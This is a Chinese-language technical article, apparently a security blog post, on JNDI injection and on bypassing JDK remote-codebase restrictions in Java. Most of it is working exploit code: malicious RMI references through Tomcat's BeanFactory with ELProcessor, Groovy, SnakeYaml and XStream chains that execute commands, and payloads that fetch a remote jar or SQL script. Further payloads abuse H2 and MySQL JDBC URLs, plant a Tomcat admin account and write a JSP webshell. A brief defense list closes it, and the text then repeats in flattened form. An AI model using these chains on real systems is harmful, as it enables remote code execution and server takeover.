探究bypass JNDI限制及利用链扩展
字数 1820 2025-08-12 11:34:09

JNDI注入攻击全面分析与绕过技术

1. JNDI基础概念

JNDI (Java Naming and Directory Interface) 是SUN公司提供的标准Java命名和目录接口,它为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。

1.1 JNDI支持的服务

  • DNS
  • LDAP
  • CORBA
  • RMI (常用)
  • 其他命名和目录服务

1.2 JNDI核心机制

JNDI中每个对象都有一组唯一的键值绑定,将对象和名字绑定,使得应用程序可以通过名字搜索到指定对象。目录服务是命名服务的自然拓展,区别在于目录服务中的对象可以有属性。

2. JNDI注入原理

2.1 RMI动态类加载机制

RMI的核心特点之一是动态类加载:

  1. 当JVM中没有某个类时,可以从远程URL下载该类的class文件
  2. 这个class文件可以使用web服务托管
  3. RMI注册表可以动态加载绑定多个RMI应用

2.2 JNDI Reference攻击流程

  1. 攻击者搭建恶意RMI服务端,绑定一个Reference对象
  2. 该Reference指向攻击者控制的远程class文件
  3. 受害者应用通过JNDI lookup该RMI服务
  4. 客户端下载并执行恶意class

2.3 Reference类关键参数

public class Reference {
    protected String className;       // 远程加载时使用的类名
    protected String classFactory;    // 需要实例化的类名
    protected String classFactoryLocation; // 加载class的远程地址(file/ftp/http等)
}

3. JDK版本限制与绕过

3.1 JDK版本限制时间线

RMI协议限制:

  • JDK 6u132, 7u122, 8u113开始:
    • 默认com.sun.jndi.rmi.object.trustURLCodebase=false
    • 禁止从远程Codebase加载Reference工厂类

LDAP协议限制:

  • Oracle JDK 11.0.1、8u191、7u201、6u211之后:
    • com.sun.jndi.ldap.object.trustURLCodebase=false (CVE-2018-3149)

3.2 高版本JDK绕过技术

3.2.1 利用本地Class作为Reference Factory

条件

  1. 工厂类必须实现javax.naming.spi.ObjectFactory接口
  2. 至少存在一个getObjectInstance()方法

常用工厂类

  • org.apache.naming.factory.BeanFactory (需要Tomcat依赖)
  • org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory (DBCP驱动)
  • org.apache.tomcat.jdbc.pool.DataSourceFactory (Tomcat JDBC)
  • com.alibaba.druid.pool.DruidDataSourceFactory (Druid)

3.2.2 利用LDAP返回序列化数据

触发本地Gadget进行反序列化攻击

4. 具体利用技术详解

4.1 探测技术

探测链1:检测MLet类是否存在

Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, 
    true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "xxx"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Evil"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);

探测链2:检测SnakeYaml依赖

Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, 
    true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://tcbua9.ceye.io/\"]]]]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);

4.2 利用技术

4.2.1 使用BeanFactory + ELProcessor

Registry registry = LocateRegistry.createRegistry(2000);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null,
    true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
ref.add(new StringRefAddr("KINGX", 
    "getClass().forName(\"javax.script.ScriptEngineManager\").newInstance()" +
    ".getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder" +
    "['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);

4.2.2 使用BeanFactory + Groovy

Registry registry = LocateRegistry.createRegistry(9999);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null,
    true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String s = String.format("@groovy.transform.ASTTest(value={\n" +
    "assert java.lang.Runtime.getRuntime().exec(\"%s\")\n})\ndef x\n", "calc.exe");
ref.add(new StringRefAddr("x", s));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);

4.2.3 使用BeanFactory + SnakeYaml

Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null,
    true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
    " !!java.net.URLClassLoader [[\n" +
    " !!java.net.URL [\"http://127.0.0.1:8888/exp.jar\"]\n" +
    " ]]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("test", referenceWrapper);

4.2.4 使用BeanFactory + XStream

private static ResourceRef tomcat_xstream(){
    ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null,
        true, "org.apache.naming.factory.BeanFactory", null);
    String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
        // 详细XML内容省略,包含XStream反序列化payload
        "</java.util.PriorityQueue>";
    ref.add(new StringRefAddr("forceString", "a=fromXML"));
    ref.add(new StringRefAddr("a", xml));
    return ref;
}

4.3 JDBC攻击技术

4.3.1 H2数据库攻击

String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;" +
    "INIT=RUNSCRIPT FROM 'http://127.0.0.1:8888/poc.sql'";
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null,
    true, "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("password", "root"));
ref.add(new StringRefAddr("initialSize", "1"));

poc.sql内容:

CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {
    Runtime.getRuntime().exec(cmd);
}';
CALL EXEC ('calc')

4.3.2 MySQL攻击

String JDBC_URL = "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true" +
    "&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor" +
    "&user=yso_CommonsCollections4_calc";
ResourceRef ref = new ResourceRef("javax.sql.DataSource", null,
    true, "org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory", null);
ref.add(new StringRefAddr("driverClassName", "com.mysql.jdbc.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("initialSize", "1"));

4.4 Tomcat特定攻击

4.4.1 创建管理员用户

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null,
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", 
    "http://127.0.0.1:8888/../../conf/tomcat-users.xml"));
ref.add(new StringRefAddr("readonly", "false"));

tomcat-users.xml内容:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users>
  <role rolename="manager-gui"/>
  <role rolename="manager-script"/>
  <user username="tomcat" password="tomcat" roles="manager-gui"/>
  <user username="admin" password="123456" roles="manager-script,manager-gui"/>
</tomcat-users>

4.4.2 写入Webshell

ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null,
    true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", 
    "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));

test.jsp内容:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml" 
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0">
  <role rolename="<%Runtime.getRuntime().exec("calc");%>"/>
</tomcat-users>

5. 防御建议

  1. 升级JDK到最新版本
  2. 设置com.sun.jndi.rmi.object.trustURLCodebase=false
  3. 设置com.sun.jndi.ldap.object.trustURLCodebase=false
  4. 对用户输入的JNDI查找名称进行严格过滤
  5. 使用安全管理器限制代码执行权限
  6. 移除不必要的依赖和危险类

6. 总结

JNDI注入攻击是一种严重的Java安全漏洞,随着JDK版本的更新,攻击方式也在不断演变。从最初的远程类加载到利用本地类进行攻击,再到结合各种组件的特性进行利用,攻击者的手段日益多样化。防御者需要全面了解攻击原理和最新绕过技术,才能有效防护此类攻击。

JNDI注入攻击全面分析与绕过技术 1. JNDI基础概念 JNDI (Java Naming and Directory Interface) 是SUN公司提供的标准Java命名和目录接口,它为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口。 1.1 JNDI支持的服务 DNS LDAP CORBA RMI (常用) 其他命名和目录服务 1.2 JNDI核心机制 JNDI中每个对象都有一组唯一的键值绑定,将对象和名字绑定,使得应用程序可以通过名字搜索到指定对象。目录服务是命名服务的自然拓展,区别在于目录服务中的对象可以有属性。 2. JNDI注入原理 2.1 RMI动态类加载机制 RMI的核心特点之一是动态类加载: 当JVM中没有某个类时,可以从远程URL下载该类的class文件 这个class文件可以使用web服务托管 RMI注册表可以动态加载绑定多个RMI应用 2.2 JNDI Reference攻击流程 攻击者搭建恶意RMI服务端,绑定一个Reference对象 该Reference指向攻击者控制的远程class文件 受害者应用通过JNDI lookup该RMI服务 客户端下载并执行恶意class 2.3 Reference类关键参数 3. JDK版本限制与绕过 3.1 JDK版本限制时间线 RMI协议限制: JDK 6u132, 7u122, 8u113开始: 默认 com.sun.jndi.rmi.object.trustURLCodebase=false 禁止从远程Codebase加载Reference工厂类 LDAP协议限制: Oracle JDK 11.0.1、8u191、7u201、6u211之后: com.sun.jndi.ldap.object.trustURLCodebase=false (CVE-2018-3149) 3.2 高版本JDK绕过技术 3.2.1 利用本地Class作为Reference Factory 条件 : 工厂类必须实现 javax.naming.spi.ObjectFactory 接口 至少存在一个 getObjectInstance() 方法 常用工厂类 : org.apache.naming.factory.BeanFactory (需要Tomcat依赖) org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory (DBCP驱动) org.apache.tomcat.jdbc.pool.DataSourceFactory (Tomcat JDBC) com.alibaba.druid.pool.DruidDataSourceFactory (Druid) 3.2.2 利用LDAP返回序列化数据 触发本地Gadget进行反序列化攻击 4. 具体利用技术详解 4.1 探测技术 探测链1:检测MLet类是否存在 探测链2:检测SnakeYaml依赖 4.2 利用技术 4.2.1 使用BeanFactory + ELProcessor 4.2.2 使用BeanFactory + Groovy 4.2.3 使用BeanFactory + SnakeYaml 4.2.4 使用BeanFactory + XStream 4.3 JDBC攻击技术 4.3.1 H2数据库攻击 poc.sql内容: 4.3.2 MySQL攻击 4.4 Tomcat特定攻击 4.4.1 创建管理员用户 tomcat-users.xml内容: 4.4.2 写入Webshell test.jsp内容: 5. 防御建议 升级JDK到最新版本 设置 com.sun.jndi.rmi.object.trustURLCodebase=false 设置 com.sun.jndi.ldap.object.trustURLCodebase=false 对用户输入的JNDI查找名称进行严格过滤 使用安全管理器限制代码执行权限 移除不必要的依赖和危险类 6. 总结 JNDI注入攻击是一种严重的Java安全漏洞,随着JDK版本的更新,攻击方式也在不断演变。从最初的远程类加载到利用本地类进行攻击,再到结合各种组件的特性进行利用,攻击者的手段日益多样化。防御者需要全面了解攻击原理和最新绕过技术,才能有效防护此类攻击。